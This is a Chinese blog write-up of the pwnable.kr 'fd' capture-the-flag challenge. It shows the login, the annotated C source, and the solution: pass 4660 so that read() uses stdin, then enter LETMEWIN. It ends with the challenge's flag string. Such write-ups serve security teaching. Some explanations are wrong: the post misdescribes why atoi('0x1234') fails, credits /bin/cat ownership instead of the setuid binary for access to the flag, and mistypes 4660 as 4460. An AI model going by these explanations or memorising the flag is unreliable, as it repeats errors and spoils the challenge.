pwnable-kr_fd

本文介绍了pwnable.kr挑战平台的fd题目,讲解如何通过分析源码和控制fd变量来读取受限的flag文件内容。用户需利用程序漏洞,将fd设置为0以控制stdin,从而实现flag的获取。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

###pwnable.kr–题目一fd
题目来自pwnable.krToddler’s Bottle的第一题fd。

#####根据要求并登录题目系统
在进入到pwnable.kr系统后,第一题为一个名为fd的题目,题目图要求提交一个flag,而flag就保存在提供的系统能。使用ssh登录即可查看到对应目录下的文件。如下

ssh fd@pwnable.kr -p2222
要求输入密码为:guest

登录成功后,即可有一个身份为fd的用户。通过

ls -la 
查看当前的文件
fd@ubuntu:~$ ls -la
total 40
drwxr-x---  5 root   fd   4096 Oct 26  2016 .
drwxr-xr-x 93 root   root 4096 Oct 10 22:56 ..
d---------  2 root   root 4096 Jun 12  2014 .bash_history
-r-sr-x---  1 fd_pwn fd   7322 Jun 11  2014 fd
-rw-r--r--  1 root   root  418 Jun 11  2014 fd.c
-r--r-----  1 fd_pwn root   50 Jun 11  2014 flag
-rw-------  1 root   root  128 Oct 26  2016 .gdb_history
dr-xr-xr-x  2 root   root 4096 Dec 19  2016 .irssi
drwxr-xr-x  2 root   root 4096 Oct 23  2016 .pwntools-cache

可以看出来的是,存在了一个fd.c和fd以及flag文件。如果要获取flag,那么需要读取flag文件的内容,但是这个文件的用户不属于当前的用户组,通过id查看当前用户为fd

fd@ubuntu:~$ id
uid=1004(fd) gid=1004(fd) groups=1004(fd)

为了能拿到flag,可以通过fd的可执行文件来获取,在如下的源码中即可知道。
#####分析题目源码
使用cat命令查看fd.c,分析如下

fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	
	if(argc<2){//要求传入的参数2是一个数值,不满足则退出
		printf("pass argv[1] a number\n");
		return 0;
	}
    
    //这里to弄过atoi函数将传入的参数2转为一个整数
	int fd = atoi( argv[1] ) - 0x1234; //这里要获取一个fd,实际表示一个fiel descriptor对象
    
    //接着计算
	int len = 0;//声明一个要使用的长度变量len
	
	//read函数,通过从指定的fd中将数据读取到buf中。这里fd就很关键
	//从前面来看,我们没有打开任何一个文件,但是这里却要从一个打开的文件中读取信息,在linux的中
	//stdin=0 stdout=1 stderr=2
	
	len = read(fd, buf, 32);
	//从读取的buf中得到数据后,将会调用一个strcmp函数,如果buf中的内容和"LETMEWIN\n"相同,
	//那么这里的比较值就为0,则将会进入if的判断内,否则就进入到下面的printf("learn about Linux file IO\n")
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		//满足条件后,程序就会调用cat命令将flag的内容
		//那么为什么此时的/bin/cat能读取flag文件呢?
		//在linux系统的下,/bin/的文件用户组是root
		// /pwnable/fd$ ls -la /bin/cat -rwxr-xr-x 1 root root 46884 Mar 10  2016 /bin/cat
		
		system("/bin/cat flag"); //通过系统命令调用读取出flag的内容
		
		exit(0);//程序停止退出
	}
	//不满足strcmp条件就提示
	printf("learn about Linux file IO\n");
	return 0;
}



根据上面分析可知,如果我们控制了fd的值,就能获取到正确的flag。

#####获取flag

从上面的分析中,我们知道

int fd = atoi(argv[1]) -0x1234;

如果我们控制了fd=0,我们就能控制了stdin,要想使得strcmp为0,只能通过stdin输入字符串。有了思路我们就直接输入如下命令


./fd 0x1234
得到如下结果
fd@ubuntu:~$ ./fd 0x1234
learn about Linux file IO

//似乎我们输入的值不能使得fd=0,查看atoi函数后发现,再输入数字的时候,不能以0开头,因为字符串遇到了0就结束了
验证如下

fd.c

#include <stdio.h>
#include <stdlib.h>

int main(int argc ,const char* argv[])
{
        if(argc<2){
        printf("oh\n");
        return 0;
}
      
        int fd = atoi(argv[1]) -0x1234;
        printf("fd=%d \n",fd);
        return 0;
}
gcc -o fd fd.c

loopher@ubuntu:~/pwnable/fd$ ./fd 0x1234
0x1234=4660 //0x1234的十进制值为4660
fd=-4660 

最后从新输入值为0x1234 的十进制值4460,得到结果
fd@ubuntu:~$ ./fd 4660  
LETMEWIN     //输入的LETMEWIN
good job :)
mommy! I think I know what a file descriptor is!!


flag:mommy! I think I know what a file descriptor is!!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值